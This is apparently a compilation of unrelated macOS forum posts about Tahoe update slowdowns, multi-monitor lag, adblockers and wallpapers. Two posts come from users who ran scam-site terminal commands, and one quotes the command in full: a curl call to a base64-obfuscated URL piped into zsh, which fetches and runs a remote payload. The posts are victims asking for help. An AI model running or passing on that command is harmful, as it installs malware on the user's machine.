Put something into terminal from a dodgy website and stopped myself, halfway through. I haven’t put any passwords in but I have this dodgy pop up???

Anyone else having this issue with the latest OneDrive?

I am currently using macOS Tahoe 26.2 and iOS 26.2.

edit: I also have an American Apple ID. Will that work? I am currently logged in to my German account.

Hi! I updated Tahoe 26.2 about 2 days ago and my desktop turned into this mess 🫠

It used to be all put together in folders and now I can’t seem to fix it….

Anybody know what to do?

Edit:
1. I did not take the photo or selfie with facetime on!!!! Its a widget of my photo album and it's not even me on the photo, its a random photo I used for a project.
2. Idk why this happened either and given the fact that everything was always stacked I did not realized how much shit I had on my desktop lol, definitely cleaning it this weekend.
3. Thanks to everyone that helped ☺️ i really do appreciated it :)))

This one has me flabbergasted.

I was looking for a way to clear up some space and I googled it and not thinking I accidentally clicked the first link and ran the terminal prompt. I stopped before entering my password because I realized what I had done, but I'm wondering what can I do to make sure my computer is ok.

I realize I'm an idiot, but any help would be useful.

This is the prompt I ran

curl -kfsSL $(echo 'aHR0cDovL3NhbmRpZWdvdGtkLmNvbS9jdXJsLzY2NDViZjYxYmQ1YzY5ZDg2OTJjNWM3ZDQ1MjFhZjYxNDMxNThkMjVkMGIxYjdkZDIxM2VmOTc1NzYwMmIzOWE='|base64 -D)|zsh

Since the Mac OS update, my Mac has been trying to access various suspicious websites that are blocked by my organization. Do you have any ideas where this could be coming from? The new Passwords app?

It's off by default.

Hi! My wife’s computer suddenly started showing this icon in her macOS menu bar on the top right. Can anyone help identify it? worried its malware of some kind, and no idea where to start. Whenever we mouse over it the pinwheel comes up, can’t click it at all.

This has been solved! Thank you all for your efforts!!

I recently switched from Windows to macOS and honestly I’m a bit disappointed with everyday UI performance.

My setup:

• Mac mini (M4, 24 GB RAM)

• 3 external 180 Hz monitors / I’m running three WQHD screens, all at 160–180 Hz.

• Chrome as main browser 

What I’m seeing:

• Dragging Chrome from one screen to another often feels laggy / choppy

• Resizing windows isn’t smooth

• Browser zoom (Ctrl / Cmd + scroll or pinch) feels noticeably less fluent than on Windows

• Moving windows around in general sometimes stutters

• Double-clicking to maximize / fill a window often causes a small but visible hitch

It’s all usable — nothing is “broken” — but I genuinely expected this to feel buttery smooth, especially with this hardware and high-refresh displays.

On Windows, even on weaker machines, window movement and browser zoom always felt more fluid to me.

So I’m wondering:

• Is this just how macOS handles window compositing / animations?

• Is Chrome particularly bad on Mac?

• Are there system settings I’m missing?

• Or am I simply expecting too much from this machine?

Would appreciate hearing from others who came from Windows. Is this normal, or can this actually be fixed?

EDIT:

Adding more context because people asked about setup:

I’m running three WQHD screens, all at 160–180 Hz.

This is where things get even more frustrating.

Native WQHD scaling on macOS looks bad. Fonts aren’t really crisp, and at 100% everything is tiny. So I’m using BetterDisplay Pro to force HiDPI modes — but even then, scaling feels awkward:

• Fonts still aren’t 100% sharp

• UI elements feel either too small or oddly scaled

• There’s no simple equivalent to Windows’ 120% / 150% scaling that just works

On Windows, this was trivial. Set 150%, done. Everything sharp, readable, smooth.

Here it feels like I’m fighting the OS just to get reasonable text size without blur.

Yes, all displays are currently running high refresh (160–180 Hz). I’m going to try dropping that to see if window movement becomes snappier, but honestly I didn’t expect I’d have to compromise refresh rate on a modern machine just to get smooth dragging.

Also: I’m what you’d probably call a hyper multitasker.

Typical workload:

• Three monitors used very actively

• Many Brave instances open (each with multiple windows, easily 20–30 total)

• Rambox running with WhatsApp, Outlook, and other web apps

• Evernote, Notion, Teams, Office all open in the background

• Plus dev tools

CPU sits around ~50% most of the time. Memory isn’t an issue (24 GB).

I’m not doing video editing, rendering, or media-heavy stuff. I’m a developer. My workload is basically browser-heavy multitasking + productivity apps.

Which makes this more confusing: this is exactly the kind of workflow I expected macOS + Apple Silicon to shine at.

Instead I’m getting:

• Window dragging stutter

• Choppy resizing

• Browser zoom that feels worse than Windows

• Slight lag on maximize / double-click

• Weird scaling compromises on external WQHD

Now I’m honestly wondering if I should’ve gone for a MacBook Pro instead of the Mini — even though on paper this machine should be more than enough for what I do.

So real questions for power users / multi-monitor folks:

• Is macOS just bad with external WQHD + scaling?

• Is Chrome/Brave part of the problem?

• Is running 3x WQHD @ high refresh simply pushing the compositor too hard?

• Or is this just “normal macOS behavior” and I need to adjust expectations?

Would love to hear from anyone running similar multi-monitor setups. Right now this feels way less polished than I expected.

EDIT: I uninstalled Chrome, Firefox, and Brave. Now I'm using Safari and on Youtube. I'm running one single video In the Activity Monitor, I see that GPU usage has spiked to over 50% with a process called Windows Server. This does not seem to be normal. What is going on?

EDIT:

Absolutely insane discovery.

I was running my Mac mini with two USB-C → DisplayPort screens and one HDMI screen (because hey, the Mac mini has HDMI). Performance was mediocre: window dragging laggy, YouTube GPU spikes, WindowServer going wild. I assumed “that’s just macOS”.

Out of frustration I unplugged the HDMI monitor and switched it to USB-C → DisplayPort as well.

Instant transformation.

Everything started flying.

Window dragging is buttery smooth. Resizing apps is instant. Scrolling feels native. GPU usage dropped massively. WindowServer calmed down. Even YouTube playback is lightweight now.

I’ve been on Windows my whole life and I’ve honestly never seen a jump like this from changing one cable.

Update: I celebrated too early.

Even with only two screens, both via USB-C → DisplayPort (no HDMI at all), WindowServer still shoots straight up to ~70% the moment I go in and out of fullscreen on YouTube. As soon as I do that once or twice, the whole Mac turns into a laggy mess: window dragging stutters, scrolling feels delayed, UI responsiveness drops across the system.

So yeah — HDMI wasn’t the whole story.

There’s clearly something in macOS’ fullscreen / video / multi-display compositor path that completely blows up WindowServer. One fullscreen toggle on YouTube is enough to poison the entire desktop session until things slowly calm down again.

Same machine, same cables, same monitors — just entering/exiting fullscreen video is enough to wreck performance.

If anyone has deep macOS display stack insight: this feels like a WindowServer / Metal compositing bug, not a hardware issue.

Hey everyone,

I’m looking to refresh my desktop and figured this is the perfect place to ask—what are your absolute favorite macOS wallpapers?

Why do icons now have to take this long to load when opening folders like Applications from the dock? Is there a way to fix this? It's extremely annoying. I have a 16-inch, Nov 2024 MacBook Pro.

Hey everyone,

I’ve been a Windows user all my life and have never used macOS before. I’m now planning to buy a MacBook Air, but I’m a bit unsure about the switch.

I’d really appreciate hearing from people who are currently using a MacBook Air (especially those who moved from Windows):

1. How has your overall experience been?

2. Was the transition from Windows to macOS easy or frustrating?

3. What things do you love the most about macOS?

4. What are some things you still don’t like or miss from Windows?

5. How is day-to-day usability (battery, performance, apps, etc.)?

Also, based on your experience, do you think someone like me, who has only used Windows, would actually enjoy using macOS, or could it feel limiting?

I’m mainly looking for honest, real-world opinions before making the decision.

Thanks in advance !

Am I the only soul whose CPU is a buzzing at 25% to 40% since the Tahoe upgrade.

Am I the only soul for whom Safari scrolling has become beachballish

Everything on my laptop has become a lot slower

I have a high end M1 Max with 64GB ram. Tahoe killed it.

The only way for it to work is I have to take out all my external drives and just have the laptop hooked to a monitor. Having a single disk attached shoots the cpu to 30% making the laptop unusable.

Does no one from apple even care about it. Using Mac for 22 years, never did I see anything this bad. It progressively got worse but this is a disaster of an upgrade. I only wish I had waited for a year to even consider.

This is a true shame, Guess apple thinks its fans will be there with them forever.

I know fked up tremendously. I was unfocused and multitasking and honestly just let my guard down for the first time in a while.

So i was trying to set up a Google business profile and clicked the first link I saw on Google which was a total scam. I feel sick to my stomach just knowing I fell for this.

I was multitasking and didn't verify the contents like the suspicious url on the actual page, but the google page showed a normal url for Google.com

The verification steps were so weird but I thought it was a new Anti-Al captcha method so I followed thru and ran the command. Next thing I know I'm getting a osascript prompt for my admin password which was the tlag that made me sus and caused me to restart my Mac. I didn't put in my password which was my saving grace.

After I realized how dumb I was I ran thru an analysis with Claude which said thankfully nothing was violated in my machine since I didn't give my password but a package was installed from the sus

IP I connected to. I don't fully trust that outcome which is why I'm here.

What else can I do other than change all my password. I feel like I'm gonna throw up

Do I need to nuke my Mac even tho I didn't put the password into the osascript?

I know im actually so fricken dumb. I just need to

know next steps. Feel free to scold me too

Update: 4/9/2026 - it’s been over 24 hours, so far no noticeable intrusions. I pray it stays that way.

I kept my laptop disconnected from internet while I explored things. I backed up pics and important docs.

I erased all contents option and rebooted using a Tahoe bootable installer on usb that I installed using my wife’s MacBook.

The install required internet connection. Given that I erased the ssd, I’m hoping it in the clear to resume normal activities while monitoring suspicious stuff. Thanks for all the help

Basically the question

—

Answer

For future readers, be wary of updating your Mac without a backup. For that might be your last mistake.

I am trying to shift to safari as my default browser but i need an adblocker. i searched about it and found some good options like ublock origin lite, wipr, adguard, adblock.

But i am still confused about which one to choose. I just want one that blocks everything just like brave does everywhere, free (yes, i dont want to spend rn), and private/safe (as i read that adguard has some russian spyware or whatever.)

I know this is asked a million times and i am sorry.

Thanks

EDIT :

thanks for the suggestions. after reading all of them,

i think i should go with uBlockOrigin Lite as its free, quite popular, open-source thus safe (hope so) and works well. So anyone reading this post, this is your answer.

for all the comments suggesting wipr 1/2 , i know its a small amount, but as a student, i am tight on my budget so i cant do it. i will try it out in the future though. 

and for the comments suggesting to use a different browser, i am trying out all instead of fanboying a single one. i wrote this post to while trying out safari. 

Cheers.

Hi

I've been a long-time PC user, but for the last two years, I have been working for a company that uses Mac products. I manage IT services, and our IT provider often blames issues on the OS. For example, MacBooks at one location only have printer problems, and other issues like losing server access and email disruptions are also attributed to the OS. I thought macOS was more reliable. Is our IT company being honest with us or are they the problem?

I’m using macOS Monterey and I’d like to know how to clear system data that is taking up 30gb of my space.